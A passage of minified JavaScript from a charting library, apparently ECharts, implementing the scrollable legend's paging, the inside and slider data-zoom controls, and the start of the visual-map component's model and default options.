n=this._controllerGroup;L([`pagePrev`,`pageNext`],function(r){var i=t[r+`DataIndex`]!=null,a=n.childOfName(r);a&&(a.setStyle(`fill`,i?e.get(`pageIconColor`,!0):e.get(`pageIconInactiveColor`,!0)),a.cursor=i?`pointer`:`default`)});var r=n.childOfName(`pageText`),i=e.get(`pageFormatter`),a=t.pageIndex,o=a==null?0:a+1,s=t.pageCount;r&&i&&r.setStyle(`text`,H(i)?i.replace(`{current}`,o==null?``:o+``).replace(`{total}`,s==null?``:s+``):i({current:o,total:s}))},t.prototype._getPageInfo=function(e){var t=e.get(`scrollDataIndex`,!0),n=this.getContentGroup(),r=this._containerGroup.__rectSize,i=e.getOrient().index,a=k1[i],o=A1[i],s=this._findTargetItemIndex(t),c=n.children(),l=c[s],u=c.length,d=+!!u,f={contentPosition:[n.x,n.y],pageCount:d,pageIndex:d-1,pagePrevDataIndex:null,pageNextDataIndex:null};if(!l)return f;var p=v(l);f.contentPosition[i]=-p.s;for(var m=s+1,h=p,g=p,_=null;m<=u;++m)_=v(c[m]),(!_&&g.e>h.s+r||_&&!y(_,h.s))&&(h=g.i>h.i?g:_,h&&(f.pageNextDataIndex??=h.i,++f.pageCount)),g=_;for(var m=s-1,h=p,g=p,_=null;m>=-1;--m)_=v(c[m]),(!_||!y(g,_.s))&&h.i<g.i&&(g=h,f.pagePrevDataIndex??=h.i,++f.pageCount,++f.pageIndex),h=_;return f;function v(e){if(e){var t=e.getBoundingRect(),n=t[o]+e[o];return{s:n,e:n+t[a],i:e.__legendDataIndex}}}function y(e,t){return e.e>=t&&e.s<=t+r}},t.prototype._findTargetItemIndex=function(e){if(!this._showController)return 0;var t,n=this.getContentGroup(),r;return n.eachChild(function(n,i){var a=n.__legendDataIndex;r==null&&a!=null&&(r=i),a===e&&(t=i)}),t??r},t.type=`legend.scroll`,t}(m1);function M1(e){e.registerAction(`legendScroll`,`legendscroll`,function(e,t){var n=e.scrollDataIndex;n!=null&&t.eachComponent({mainType:`legend`,subType:`scroll`,query:e},function(e){e.setScrollDataIndex(n)})})}function N1(e){bw(T1),e.registerComponentModel(E1),e.registerComponentView(j1),M1(e)}function P1(e){bw(T1),bw(N1)}var F1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`dataZoom.inside`,t.defaultOption=mh(OX.defaultOption,{disabled:!1,zoomLock:!1,zoomOnMouseWheel:!0,moveOnMouseMove:!0,moveOnMouseWheel:!1,preventDefaultMouseMove:!0}),t}(OX),I1=oc();function L1(e,t,n){I1(e).coordSysRecordMap.each(function(e){var r=e.dataZoomInfoMap.get(t.uid);r&&(r.getRange=n)})}function R1(e,t){for(var n=I1(e).coordSysRecordMap,r=n.keys(),i=0;i<r.length;i++){var a=r[i],o=n.get(a),s=o.dataZoomInfoMap;if(s){var c=t.uid;s.get(c)&&(s.removeKey(c),s.keys().length||z1(n,o))}}}function z1(e,t){if(t){e.removeKey(t.model.uid);var n=t.controller;n&&n.dispose()}}function B1(e,t){var n={model:t,containsPoint:pt(H1,t),dispatchAction:pt(V1,e),dataZoomInfoMap:null,controller:null},r=n.controller=new VP(e.getZr());return L([`pan`,`zoom`,`scrollMove`],function(e){r.on(e,function(t){var r=[];n.dataZoomInfoMap.each(function(i){if(t.isAvailableBehavior(i.model.option)){var a=(i.getRange||{})[e],o=a&&a(i.dzReferCoordSysInfo,n.model.mainType,n.controller,t);!i.model.get(`disabled`,!0)&&o&&r.push({dataZoomId:i.model.id,start:o[0],end:o[1]})}}),r.length&&n.dispatchAction(r)})}),n}function V1(e,t){e.isDisposed()||e.dispatchAction({type:`dataZoom`,animation:{easing:`cubicOut`,duration:100},batch:t})}function H1(e,t,n,r){return e.coordinateSystem.containPoint([n,r])}function U1(e,t,n){var r,i=`type_`,a={type_true:2,type_move:1,type_false:0,type_undefined:-1},o=!0;return e.each(function(e){var t=e.model,n=t.get(`disabled`,!0)?!1:t.get(`zoomLock`,!0)?`move`:!0;a[i+n]>a[i+r]&&(r=n),o&&=t.get(`preventDefaultMouseMove`,!0)}),{controlType:r,opt:{zoomOnMouseWheel:!0,moveOnMouseMove:!0,moveOnMouseWheel:!0,preventDefaultMouseMove:!!o,api:n,zInfo:{component:t.model},triggerInfo:{roamTrigger:null,isInSelf:t.containsPoint}}}}function W1(e){e.registerProcessor(e.PRIORITY.PROCESSOR.FILTER,function(e,t){var n=I1(t),r=n.coordSysRecordMap||=G();r.each(function(e){e.dataZoomInfoMap=null}),e.eachComponent({mainType:`dataZoom`,subType:`inside`},function(e){L(EX(e).infoList,function(n){var i=n.model.uid,a=r.get(i)||r.set(i,B1(t,n.model));(a.dataZoomInfoMap||=G()).set(e.uid,{dzReferCoordSysInfo:n,model:e,getRange:null})})}),r.each(function(e){var n=e.controller,i,a=e.dataZoomInfoMap;if(a){var o=a.keys()[0];o!=null&&(i=a.get(o))}if(!i){z1(r,e);return}var s=U1(a,e,t);n.enable(s.controlType,s.opt),Bb(e,`dispatchAction`,i.model.get(`throttle`,!0),`fixRate`)})})}var G1=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`dataZoom.inside`,t}return t.prototype.render=function(t,n,r){if(e.prototype.render.apply(this,arguments),t.noTarget()){this._clear();return}this.range=t.getPercentRange(),L1(r,t,{pan:z(K1.pan,this),zoom:z(K1.zoom,this),scrollMove:z(K1.scrollMove,this)})},t.prototype.dispose=function(){this._clear(),e.prototype.dispose.apply(this,arguments)},t.prototype._clear=function(){R1(this.api,this.dataZoomModel),this.range=null},t.type=`dataZoom.inside`,t}(jX),K1={zoom:function(e,t,n,r){var i=this.range,a=i.slice(),o=e.axisModels[0];if(o){var s=J1[t](null,[r.originX,r.originY],o,n,e),c=(s.signal>0?s.pixelStart+s.pixelLength-s.pixel:s.pixel-s.pixelStart)/s.pixelLength*(a[1]-a[0])+a[0],l=Math.max(1/r.scale,0);a[0]=(a[0]-c)*l+c,a[1]=(a[1]-c)*l+c;var u=this.dataZoomModel.findRepresentativeAxisProxy().getMinMaxSpan();if(nV(0,a,[0,100],0,u.minSpan,u.maxSpan),this.range=a,i[0]!==a[0]||i[1]!==a[1])return a}},pan:q1(function(e,t,n,r,i,a){var o=J1[r]([a.oldX,a.oldY],[a.newX,a.newY],t,i,n);return o.signal*(e[1]-e[0])*o.pixel/o.pixelLength}),scrollMove:q1(function(e,t,n,r,i,a){return J1[r]([0,0],[a.scrollDelta,a.scrollDelta],t,i,n).signal*(e[1]-e[0])*a.scrollDelta})};function q1(e){return function(t,n,r,i){var a=this.range,o=a.slice(),s=t.axisModels[0];if(s&&(nV(e(o,s,t,n,r,i),o,[0,100],`all`),this.range=o,a[0]!==o[0]||a[1]!==o[1]))return o}}var J1={grid:function(e,t,n,r,i){var a=n.axis,o={},s=i.model.coordinateSystem.getRect();return e||=[0,0],a.dim===`x`?(o.pixel=t[0]-e[0],o.pixelLength=s.width,o.pixelStart=s.x,o.signal=a.inverse?1:-1):(o.pixel=t[1]-e[1],o.pixelLength=s.height,o.pixelStart=s.y,o.signal=a.inverse?-1:1),o},polar:function(e,t,n,r,i){var a=n.axis,o={},s=i.model.coordinateSystem,c=s.getRadiusAxis().getExtent(),l=s.getAngleAxis().getExtent();return e=e?s.pointToCoord(e):[0,0],t=s.pointToCoord(t),n.mainType===`radiusAxis`?(o.pixel=t[0]-e[0],o.pixelLength=c[1]-c[0],o.pixelStart=c[0],o.signal=a.inverse?1:-1):(o.pixel=t[1]-e[1],o.pixelLength=l[1]-l[0],o.pixelStart=l[0],o.signal=a.inverse?-1:1),o},singleAxis:function(e,t,n,r,i){var a=n.axis,o=i.model.coordinateSystem.getRect(),s={};return e||=[0,0],a.orient===`horizontal`?(s.pixel=t[0]-e[0],s.pixelLength=o.width,s.pixelStart=o.x,s.signal=a.inverse?1:-1):(s.pixel=t[1]-e[1],s.pixelLength=o.height,s.pixelStart=o.y,s.signal=a.inverse?-1:1),s}};function Y1(e){BX(e),e.registerComponentModel(F1),e.registerComponentView(G1),W1(e)}var X1=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`dataZoom.slider`,t.layoutMode=`box`,t.defaultOption=mh(OX.defaultOption,{show:!0,right:`ph`,top:`ph`,width:`ph`,height:`ph`,left:null,bottom:null,borderColor:Q.color.accent10,borderRadius:0,backgroundColor:Q.color.transparent,dataBackground:{lineStyle:{color:Q.color.accent30,width:.5},areaStyle:{color:Q.color.accent20,opacity:.2}},selectedDataBackground:{lineStyle:{color:Q.color.accent40,width:.5},areaStyle:{color:Q.color.accent20,opacity:.3}},fillerColor:`rgba(135,175,274,0.2)`,handleIcon:`path://M-9.35,34.56V42m0-40V9.5m-2,0h4a2,2,0,0,1,2,2v21a2,2,0,0,1-2,2h-4a2,2,0,0,1-2-2v-21A2,2,0,0,1-11.35,9.5Z`,handleSize:`100%`,handleStyle:{color:Q.color.neutral00,borderColor:Q.color.accent20},moveHandleSize:7,moveHandleIcon:`path://M-320.9-50L-320.9-50c18.1,0,27.1,9,27.1,27.1V85.7c0,18.1-9,27.1-27.1,27.1l0,0c-18.1,0-27.1-9-27.1-27.1V-22.9C-348-41-339-50-320.9-50z M-212.3-50L-212.3-50c18.1,0,27.1,9,27.1,27.1V85.7c0,18.1-9,27.1-27.1,27.1l0,0c-18.1,0-27.1-9-27.1-27.1V-22.9C-239.4-41-230.4-50-212.3-50z M-103.7-50L-103.7-50c18.1,0,27.1,9,27.1,27.1V85.7c0,18.1-9,27.1-27.1,27.1l0,0c-18.1,0-27.1-9-27.1-27.1V-22.9C-130.9-41-121.8-50-103.7-50z`,moveHandleStyle:{color:Q.color.accent40,opacity:.5},showDetail:!0,showDataShadow:`auto`,realtime:!0,zoomLock:!1,textStyle:{color:Q.color.tertiary},brushSelect:!0,brushStyle:{color:Q.color.accent30,opacity:.3},emphasis:{handleLabel:{show:!0},handleStyle:{borderColor:Q.color.accent40},moveHandleStyle:{opacity:.8}},defaultLocationEdgeGap:15}),t}(OX),Z1=Lu,Q1=1,$1=30,e0=7,t0=`horizontal`,n0=`vertical`,r0=5,i0=[`line`,`bar`,`candlestick`,`scatter`],a0={easing:`cubicOut`,duration:100,delay:0},o0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._displayables={},n}return t.prototype.init=function(e,t){this.api=t,this._onBrush=z(this._onBrush,this),this._onBrushEnd=z(this._onBrushEnd,this)},t.prototype.render=function(t,n,r,i){if(e.prototype.render.apply(this,arguments),Bb(this,`_dispatchZoomAction`,t.get(`throttle`),`fixRate`),this._orient=t.getOrient(),t.get(`show`)===!1){this.group.removeAll();return}if(t.noTarget()){this._clear(),this.group.removeAll();return}(!i||i.type!==`dataZoom`||i.from!==this.uid)&&this._buildView(),this._updateView()},t.prototype.dispose=function(){this._clear(),e.prototype.dispose.apply(this,arguments)},t.prototype._clear=function(){Vb(this,`_dispatchZoomAction`);var e=this.api.getZr();e.off(`mousemove`,this._onBrush),e.off(`mouseup`,this._onBrushEnd)},t.prototype._buildView=function(){var e=this.group;e.removeAll(),this._brushing=!1,this._displayables.brushRect=null,this._resetLocation(),this._resetInterval();var t=this._displayables.sliderGroup=new Y;this._renderBackground(),this._renderHandle(),this._renderDataShadow(),e.add(t),this._positionGroup()},t.prototype._resetLocation=function(){var e=this.dataZoomModel,t=this.api,n=e.get(`brushSelect`)?e0:0,r=Kg(e,t).refContainer,i=this._findCoordRect(),a=e.get(`defaultLocationEdgeGap`,!0)||0,o=this._orient===t0?{right:r.width-i.x-i.width,top:r.height-$1-a-n,width:i.width,height:$1}:{right:a,top:i.y,width:$1,height:i.height},s=Zg(e.option);L([`right`,`top`,`width`,`height`],function(e){s[e]===`ph`&&(s[e]=o[e])});var c=Ug(s,r);this._location={x:c.x,y:c.y},this._size=[c.width,c.height],this._orient===n0&&this._size.reverse()},t.prototype._positionGroup=function(){var e=this.group,t=this._location,n=this._orient,r=this.dataZoomModel.getFirstTargetAxisModel(),i=r&&r.get(`inverse`),a=this._displayables.sliderGroup,o=(this._dataShadowInfo||{}).otherAxisInverse;a.attr(n===t0&&!i?{scaleY:o?1:-1,scaleX:1}:n===t0&&i?{scaleY:o?1:-1,scaleX:-1}:n===n0&&!i?{scaleY:o?-1:1,scaleX:1,rotation:Math.PI/2}:{scaleY:o?-1:1,scaleX:-1,rotation:Math.PI/2});var s=e.getBoundingRect([a]);e.x=t.x-s.x,e.y=t.y-s.y,e.markRedraw()},t.prototype._getViewExtent=function(){return[0,this._size[0]]},t.prototype._renderBackground=function(){var e=this.dataZoomModel,t=this._size,n=this._displayables.sliderGroup,r=e.get(`brushSelect`);n.add(new Z1({silent:!0,shape:{x:0,y:0,width:t[0],height:t[1]},style:{fill:e.get(`backgroundColor`)},z2:-40}));var i=new Z1({shape:{x:0,y:0,width:t[0],height:t[1]},style:{fill:`transparent`},z2:0,onclick:z(this._onClickPanel,this)}),a=this.api.getZr();r?(i.on(`mousedown`,this._onBrushStart,this),i.cursor=`crosshair`,a.on(`mousemove`,this._onBrush),a.on(`mouseup`,this._onBrushEnd)):(a.off(`mousemove`,this._onBrush),a.off(`mouseup`,this._onBrushEnd)),n.add(i)},t.prototype._renderDataShadow=function(){var e=this._dataShadowInfo=this._prepareDataShadowInfo();if(this._displayables.dataShadowSegs=[],!e)return;var t=this._size,n=this._shadowSize||[],r=e.series,i=r.getRawData(),a=r.getShadowDim&&r.getShadowDim(),o=a&&i.getDimensionInfo(a)?r.getShadowDim():e.otherDim;if(o==null)return;var s=this._shadowPolygonPts,c=this._shadowPolylinePts;if(i!==this._shadowData||o!==this._shadowDim||t[0]!==n[0]||t[1]!==n[1]){var l=i.getDataExtent(e.thisDim),u=i.getDataExtent(o),d=(u[1]-u[0])*.3;u=[u[0]-d,u[1]+d];var f=[0,t[1]],p=[0,t[0]],m=[[t[0],0],[0,0]],h=[],g=p[1]/Math.max(1,i.count()-1),_=t[0]/(l[1]-l[0]),v=e.thisAxis.type===`time`,y=-g,b=Math.round(i.count()/t[0]),x;i.each([e.thisDim,o],function(e,t,n){if(b>0&&n%b){v||(y+=g);return}y=v?(+e-l[0])*_:y+g;var r=t==null||isNaN(t)||t===``,i=r?0:as(t,u,f,!0);r&&!x&&n?(m.push([m[m.length-1][0],0]),h.push([h[h.length-1][0],0])):!r&&x&&(m.push([y,0]),h.push([y,0])),r||(m.push([y,i]),h.push([y,i])),x=r}),s=this._shadowPolygonPts=m,c=this._shadowPolylinePts=h}this._shadowData=i,this._shadowDim=o,this._shadowSize=[t[0],t[1]];var S=this.dataZoomModel;function C(e){var t=S.getModel(e?`selectedDataBackground`:`dataBackground`),n=new Y,r=new sp({shape:{points:s},segmentIgnoreThreshold:1,style:t.getModel(`areaStyle`).getAreaStyle(),silent:!0,z2:-20}),i=new lp({shape:{points:c},segmentIgnoreThreshold:1,style:t.getModel(`lineStyle`).getLineStyle(),silent:!0,z2:-19});return n.add(r),n.add(i),n}for(var w=0;w<3;w++){var T=C(w===1);this._displayables.sliderGroup.add(T),this._displayables.dataShadowSegs.push(T)}},t.prototype._prepareDataShadowInfo=function(){var e=this.dataZoomModel,t=e.get(`showDataShadow`);if(t!==!1){var n,r=this.ecModel;return e.eachTargetAxis(function(i,a){L(e.getAxisProxy(i,a).getTargetSeriesModels(),function(e){if(!n&&!(t!==!0&&it(i0,e.get(`type`))<0)){var o=r.getComponent(wX(i),a).axis,s=s0(i),c,l=e.coordinateSystem;s!=null&&l.getOtherAxis&&(c=l.getOtherAxis(o).inverse),s=e.getData().mapDimension(s),n={thisAxis:o,series:e,thisDim:e.getData().mapDimension(i),otherDim:s,otherAxisInverse:c}}},this)},this),n}},t.prototype._renderHandle=function(){var e=this.group,t=this._displayables,n=t.handles=[null,null],r=t.handleLabels=[null,null],i=this._displayables.sliderGroup,a=this._size,o=this.dataZoomModel,s=this.api,c=o.get(`borderRadius`)||0,l=o.get(`brushSelect`),u=t.filler=new Z1({silent:l,style:{fill:o.get(`fillerColor`)},textConfig:{position:`inside`}});i.add(u),i.add(new Z1({silent:!0,subPixelOptimize:!0,shape:{x:0,y:0,width:a[0],height:a[1],r:c},style:{stroke:o.get(`dataBackgroundColor`)||o.get(`borderColor`),lineWidth:Q1,fill:Q.color.transparent}})),L([0,1],function(t){var a=o.get(`handleIcon`);!Lx[a]&&a.indexOf(`path://`)<0&&a.indexOf(`image://`)<0&&(a=`path://`+a);var s=Bx(a,-1,0,2,2,null,!0);s.attr({cursor:c0(this._orient),draggable:!0,drift:z(this._onDragMove,this,t),ondragend:z(this._onDragEnd,this),onmouseover:z(this._showDataInfo,this,!0),onmouseout:z(this._showDataInfo,this,!1),z2:5});var c=s.getBoundingRect(),l=o.get(`handleSize`);this._handleHeight=X(l,this._size[1]),this._handleWidth=c.width/c.height*this._handleHeight,s.setStyle(o.getModel(`handleStyle`).getItemStyle()),s.style.strokeNoScale=!0,s.rectHover=!0,s.ensureState(`emphasis`).style=o.getModel([`emphasis`,`handleStyle`]).getItemStyle(),Zd(s);var u=o.get(`handleColor`);u!=null&&(s.style.fill=u),i.add(n[t]=s);var d=o.getModel(`textStyle`),f=(o.get(`handleLabel`)||{}).show||!1;e.add(r[t]=new Hu({silent:!0,invisible:!f,style:Bm(d,{x:0,y:0,text:``,verticalAlign:`middle`,align:`center`,fill:d.getTextColor(),font:d.getFont()}),z2:10}))},this);var d=u;if(l){var f=X(o.get(`moveHandleSize`),a[1]),p=t.moveHandle=new Lu({style:o.getModel(`moveHandleStyle`).getItemStyle(),silent:!0,shape:{r:[0,0,2,2],y:a[1]-.5,height:f}}),m=f*.8,h=t.moveHandleIcon=Bx(o.get(`moveHandleIcon`),-m/2,-m/2,m,m,Q.color.neutral00,!0);h.silent=!0,h.y=a[1]+f/2-.5,p.ensureState(`emphasis`).style=o.getModel([`emphasis`,`moveHandleStyle`]).getItemStyle();var g=Math.min(a[1]/2,Math.max(f,10));d=t.moveZone=new Lu({invisible:!0,shape:{y:a[1]-g,height:f+g}}),d.on(`mouseover`,function(){s.enterEmphasis(p)}).on(`mouseout`,function(){s.leaveEmphasis(p)}),i.add(p),i.add(h),i.add(d)}d.attr({draggable:!0,cursor:`default`,drift:z(this._onDragMove,this,`all`),ondragstart:z(this._showDataInfo,this,!0),ondragend:z(this._onDragEnd,this),onmouseover:z(this._showDataInfo,this,!0),onmouseout:z(this._showDataInfo,this,!1)})},t.prototype._resetInterval=function(){var e=this._range=this.dataZoomModel.getPercentRange(),t=this._getViewExtent();this._handleEnds=[as(e[0],[0,100],t,!0),as(e[1],[0,100],t,!0)]},t.prototype._updateInterval=function(e,t){var n=this.dataZoomModel,r=this._handleEnds,i=this._getViewExtent(),a=n.findRepresentativeAxisProxy().getMinMaxSpan(),o=[0,100];nV(t,r,i,n.get(`zoomLock`)?`all`:e,a.minSpan==null?null:as(a.minSpan,o,i,!0),a.maxSpan==null?null:as(a.maxSpan,o,i,!0));var s=this._range,c=this._range=ls([as(r[0],i,o,!0),as(r[1],i,o,!0)]);return!s||s[0]!==c[0]||s[1]!==c[1]},t.prototype._updateView=function(e){var t=this._displayables,n=this._handleEnds,r=ls(n.slice()),i=this._size;L([0,1],function(e){var r=t.handles[e],a=this._handleHeight;r.attr({scaleX:a/2,scaleY:a/2,x:n[e]+(e?-1:1),y:i[1]/2-a/2})},this),t.filler.setShape({x:r[0],y:0,width:r[1]-r[0],height:i[1]});var a={x:r[0],width:r[1]-r[0]};t.moveHandle&&(t.moveHandle.setShape(a),t.moveZone.setShape(a),t.moveZone.getBoundingRect(),t.moveHandleIcon&&t.moveHandleIcon.attr(`x`,a.x+a.width/2));for(var o=t.dataShadowSegs,s=[0,r[0],r[1],i[0]],c=0;c<o.length;c++){var l=o[c],u=l.getClipPath();u||(u=new Lu,l.setClipPath(u)),u.setShape({x:s[c],y:0,width:s[c+1]-s[c],height:i[1]})}this._updateDataInfo(e)},t.prototype._updateDataInfo=function(e){var t=this.dataZoomModel,n=this._displayables,r=n.handleLabels,i=this._orient,a=[``,``];if(t.get(`showDetail`)){var o=t.findRepresentativeAxisProxy();if(o){var s=o.getAxisModel().axis,c=this._range,l=e?o.calculateDataWindow({start:c[0],end:c[1]}).valueWindow:o.getDataValueWindow();a=[this._formatLabel(l[0],s),this._formatLabel(l[1],s)]}}var u=ls(this._handleEnds.slice());d.call(this,0),d.call(this,1);function d(e){var t=cm(n.handles[e].parent,this.group),o=um(e===0?`right`:`left`,t),s=this._handleWidth/2+r0,c=lm([u[e]+(e===0?-s:s),this._size[1]/2],t);r[e].setStyle({x:c[0],y:c[1],verticalAlign:i===t0?`middle`:o,align:i===t0?o:`center`,text:a[e]})}},t.prototype._formatLabel=function(e,t){var n=this.dataZoomModel,r=n.get(`labelFormatter`),i=n.get(`labelPrecision`);(i==null||i===`auto`)&&(i=t.getPixelPrecision());var a=e==null||isNaN(e)?``:t.type===`category`||t.type===`time`?t.scale.getLabel({value:Math.round(e)}):e.toFixed(Math.min(i,20));return V(r)?r(e,a):H(r)?r.replace(`{value}`,a):a},t.prototype._showDataInfo=function(e){var t=(this.dataZoomModel.get(`handleLabel`)||{}).show||!1,n=this.dataZoomModel.getModel([`emphasis`,`handleLabel`]).get(`show`)||!1,r=e||this._dragging?n:t,i=this._displayables,a=i.handleLabels;a[0].attr(`invisible`,!r),a[1].attr(`invisible`,!r),i.moveHandle&&this.api[r?`enterEmphasis`:`leaveEmphasis`](i.moveHandle,1)},t.prototype._onDragMove=function(e,t,n,r){this._dragging=!0,Pn(r.event);var i=this._displayables.sliderGroup.getLocalTransform(),a=lm([t,n],i,!0),o=this._updateInterval(e,a[0]),s=this.dataZoomModel.get(`realtime`);this._updateView(!s),o&&s&&this._dispatchZoomAction(!0)},t.prototype._onDragEnd=function(){this._dragging=!1,this._showDataInfo(!1),!this.dataZoomModel.get(`realtime`)&&this._dispatchZoomAction(!1)},t.prototype._onClickPanel=function(e){var t=this._size,n=this._displayables.sliderGroup.transformCoordToLocal(e.offsetX,e.offsetY);if(!(n[0]<0||n[0]>t[0]||n[1]<0||n[1]>t[1])){var r=this._handleEnds,i=(r[0]+r[1])/2,a=this._updateInterval(`all`,n[0]-i);this._updateView(),a&&this._dispatchZoomAction(!1)}},t.prototype._onBrushStart=function(e){var t=e.offsetX,n=e.offsetY;this._brushStart=new q(t,n),this._brushing=!0,this._brushStartTime=+new Date},t.prototype._onBrushEnd=function(e){if(this._brushing){var t=this._displayables.brushRect;if(this._brushing=!1,t){t.attr(`ignore`,!0);var n=t.shape;if(!(+new Date-this._brushStartTime<200&&Math.abs(n.width)<5)){var r=this._getViewExtent(),i=[0,100],a=this._handleEnds=[n.x,n.x+n.width],o=this.dataZoomModel.findRepresentativeAxisProxy().getMinMaxSpan();nV(0,a,r,0,o.minSpan==null?null:as(o.minSpan,i,r,!0),o.maxSpan==null?null:as(o.maxSpan,i,r,!0)),this._range=ls([as(a[0],r,i,!0),as(a[1],r,i,!0)]),this._updateView(),this._dispatchZoomAction(!1)}}}},t.prototype._onBrush=function(e){this._brushing&&(Pn(e.event),this._updateBrushRect(e.offsetX,e.offsetY))},t.prototype._updateBrushRect=function(e,t){var n=this._displayables,r=this.dataZoomModel,i=n.brushRect;i||(i=n.brushRect=new Z1({silent:!0,style:r.getModel(`brushStyle`).getItemStyle()}),n.sliderGroup.add(i)),i.attr(`ignore`,!1);var a=this._brushStart,o=this._displayables.sliderGroup,s=o.transformCoordToLocal(e,t),c=o.transformCoordToLocal(a.x,a.y),l=this._size;s[0]=Math.max(Math.min(l[0],s[0]),0),i.setShape({x:c[0],y:0,width:s[0]-c[0],height:l[1]})},t.prototype._dispatchZoomAction=function(e){var t=this._range;this.api.dispatchAction({type:`dataZoom`,from:this.uid,dataZoomId:this.dataZoomModel.id,animation:e?a0:null,start:t[0],end:t[1]})},t.prototype._findCoordRect=function(){var e,t=EX(this.dataZoomModel).infoList;if(!e&&t.length){var n=t[0].model.coordinateSystem;e=n.getRect&&n.getRect()}if(!e){var r=this.api.getWidth(),i=this.api.getHeight();e={x:r*.2,y:i*.2,width:r*.6,height:i*.6}}return e},t.type=`dataZoom.slider`,t}(jX);function s0(e){return{x:`y`,y:`x`,radius:`angle`,angle:`radius`}[e]}function c0(e){return e===`vertical`?`ns-resize`:`ew-resize`}function l0(e){e.registerComponentModel(X1),e.registerComponentView(o0),BX(e)}function u0(e){bw(Y1),bw(l0)}var d0={get:function(e,t,n){var r=P((f0[e]||{})[t]);return n&&B(r)?r[r.length-1]:r}},f0={color:{active:[`#006edd`,`#e0ffff`],inactive:[Q.color.transparent]},colorHue:{active:[0,360],inactive:[0,0]},colorSaturation:{active:[.3,1],inactive:[0,0]},colorLightness:{active:[.9,.5],inactive:[0,0]},colorAlpha:{active:[.3,1],inactive:[0,0]},opacity:{active:[.3,1],inactive:[0,0]},symbol:{active:[`circle`,`roundRect`,`diamond`],inactive:[`none`]},symbolSize:{active:[10,50],inactive:[0,0]}},p0=nR.mapVisual,m0=nR.eachVisual,h0=B,g0=L,_0=ls,v0=as,y0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.stateList=[`inRange`,`outOfRange`],n.replacableOptionKeys=[`inRange`,`outOfRange`,`target`,`controller`,`color`],n.layoutMode={type:`box`,ignoreSize:!0},n.dataBound=[-1/0,1/0],n.targetVisuals={},n.controllerVisuals={},n}return t.prototype.init=function(e,t,n){this.mergeDefaultAndTheme(e,n)},t.prototype.optionUpdated=function(e,t){var n=this.option;!t&&OQ(n,e,this.replacableOptionKeys),this.textStyleModel=this.getModel(`textStyle`),this.resetItemSize(),this.completeVisualOption()},t.prototype.resetVisual=function(e){var t=this.stateList;e=z(e,this),this.controllerVisuals=DQ(this.option.controller,t,e),this.targetVisuals=DQ(this.option.target,t,e)},t.prototype.getItemSymbol=function(){return null},t.prototype.getTargetSeriesIndices=function(){var e=this.option.seriesId,t=this.option.seriesIndex;t==null&&e==null&&(t=`all`);var n=fc(this.ecModel,`series`,{index:t,id:e},{useDefault:!1,enableAll:!0,enableNone:!1}).models;return R(n,function(e){return e.componentIndex})},t.prototype.eachTargetSeries=function(e,t){L(this.getTargetSeriesIndices(),function(n){var r=this.ecModel.getSeriesByIndex(n);r&&e.call(t,r)},this)},t.prototype.isTargetSeries=function(e){var t=!1;return this.eachTargetSeries(function(n){n===e&&(t=!0)}),t},t.prototype.formatValueText=function(e,t,n){var r=this.option,i=r.precision,a=this.dataBound,o=r.formatter,s;n||=[`<`,`>`],B(e)&&(e=e.slice(),s=!0);var c=t?e:s?[l(e[0]),l(e[1])]:l(e);if(H(o))return o.replace(`{value}`,s?c[0]:c).replace(`{value2}`,s?c[1]:c);if(V(o))return s?o(e[0],e[1]):o(e);if(s)return e[0]===a[0]?n[0]+` `+c[1]:e[1]===a[1]?n[1]+` `+c[0]:c[0]+` - `+c[1];return c;function l(e){return e===a[0]?`min`:e===a[1]?`max`:(+e).toFixed(Math.min(i,20))}},t.prototype.resetExtent=function(){var e=this.option,t=_0([e.min,e.max]);this._dataExtent=t},t.prototype.getDataDimensionIndex=function(e){var t=this.option.dimension;if(t!=null)return e.getDimensionIndex(t);for(var n=e.dimensions,r=n.length-1;r>=0;r--){var i=n[r],a=e.getDimensionInfo(i);if(!a.isCalculationCoord)return a.storeDimIndex}},t.prototype.getExtent=function(){return this._dataExtent.slice()},t.prototype.completeVisualOption=function(){var e=this.ecModel,t=this.option,n={inRange:t.inRange,outOfRange:t.outOfRange},r=t.target||={},i=t.controller||={};nt(r,n),nt(i,n);var a=this.isCategory();o.call(this,r),o.call(this,i),s.call(this,r,`inRange`,`outOfRange`),c.call(this,i);function o(n){h0(t.color)&&!n.inRange&&(n.inRange={color:t.color.slice().reverse()}),n.inRange=n.inRange||{color:e.get(`gradientColor`)}}function s(e,t,n){var r=e[t],i=e[n];r&&!i&&(i=e[n]={},g0(r,function(e,t){if(nR.isValidType(t)){var n=d0.get(t,`inactive`,a);n!=null&&(i[t]=n,t===`color`&&!i.hasOwnProperty(`opacity`)&&!i.hasOwnProperty(`colorAlpha`)&&(i.opacity=[0,0]))}}))}function c(e){var t=(e.inRange||{}).symbol||(e.outOfRange||{}).symbol,n=(e.inRange||{}).symbolSize||(e.outOfRange||{}).symbolSize,r=this.get(`inactiveColor`),i=this.getItemSymbol()||`roundRect`;g0(this.stateList,function(o){var s=this.itemSize,c=e[o];c||=e[o]={color:a?r:[r]},c.symbol??=t&&P(t)||(a?i:[i]),c.symbolSize??=n&&P(n)||(a?s[0]:[s[0],s[0]]),c.symbol=p0(c.symbol,function(e){return e===`none`?i:e});var l=c.symbolSize;if(l!=null){var u=-1/0;m0(l,function(e){e>u&&(u=e)}),c.symbolSize=p0(l,function(e){return v0(e,[0,u],[0,s[0]],!0)})}},this)}},t.prototype.resetItemSize=function(){this.itemSize=[parseFloat(this.get(`itemWidth`)),parseFloat(this.get(`itemHeight`))]},t.prototype.isCategory=function(){return!!this.option.categories},t.prototype.setSelected=function(e){},t.prototype.getSelected=function(){return null},t.prototype.getValueState=function(e){return null},t.prototype.getVisualMeta=function(e){return null},t.type=`visualMap`,t.dependencies=[`series`],t.defaultOption={show:!0,z:4,min:0,max:200,left:0,right:null,top:null,bottom:0,itemWidth:null,itemHeight:null,inverse:!1,orient:`vertical`,backgroundColor:Q.color.transparent,borderColor:Q.color.borderTint,contentColor:Q.color.theme[0],inactiveColor:Q.color.disabled,borderWidth:0,padding:Q.size.m,textGap:10,precision:0,textStyle:{color:Q.color.secondary}},t}(e_),b0=[20,140],x0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return 